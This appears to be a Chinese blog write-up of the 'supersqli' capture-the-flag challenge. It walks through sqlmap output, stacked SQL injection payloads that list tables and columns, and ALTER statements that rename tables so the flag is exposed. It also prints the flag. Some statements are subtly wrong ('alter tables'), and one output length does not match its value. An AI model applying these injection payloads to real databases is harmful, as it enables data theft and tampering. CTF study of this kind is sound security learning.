

# 攻防世界 supersqli writeup

原创

冰可乐不加可乐 于 2020-03-13 17:07:16 发布 5237 收藏 6

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/freerats/article/details/104843137>

版权

```
5 <body>
6 <h1>取材于某次真实环境渗透，只说一句话
7 <!-- sqlmap是没有灵魂的 -->
8 <form method="get">
```

进入题目查看源码，提到sqlmap那就扫一扫

```
---
Parameter: inject (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: inject=2' AND 5529=5529 AND 'ORqD'='ORqD
---
[16:06:02] [INFO] the back-end DBMS is MySQL
```

发现有注入，注入点为inject=2'，接下来-dbs尝试查

询数据库，只爆出supersqli，但无法爆出表。

回到题目



order by 判断只有两个字段（别人的writerup说--+被过滤，只能使用#，不知道为什么没有,最后发现是在查询框里过滤了，在url框里没有）

```
姿势: 1 提交查询
return preg_match("/select|update|delete|drop|insert|where|\.\/i", $inject);
```

在使用union select时发现过滤关键字

接下来尝试堆叠注入，发现可行，爆出数据库名。

```

http://111.198.29.45:57789
'?inject=2';show tables;--+

string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

```

执行show tables，爆出两表名

show columns from `1919810931114514`;--+  
把两个表里的列爆出

```

http://111.198.29.45:57789
/?inject=2';show columns
from `1919810931114514`;--+

[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(10) "1919810931114514"
}

```

```

http://111.198.29.45:57789
/?inject=2';show columns
from `words`;--+

string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "N0"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

```

在一串数字的表里见到了flag列，flag极有可能在其

中。

而在words表里发现结构id与查询的出的数据类型相同，一个数字，一个字符串，所以猜测默认查询的就是words表，inject值应该赋给了id。

发现并没有过滤rename和alter等，即可改变表的结构。

构造语句：alter tables words rename to words1;

alter tables `1919810931114514` rename to words;alter tables words change flag id

varchar(100);--+

先把words表名改为其他名，再把1919810931114514表名改为words，但是其中还缺少id列，因此可以添加一个id列或者吧flag改为id，这样这个表就成为了默认查询表

在查询框里查询 1' or 1=1 #

姿势:

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```

[GYCTF2020]Blacklist可以算这道题的进化版，过滤更严，需要另一种方法。详细可参考<https://blog.csdn.net/freerats/article/details/107735132>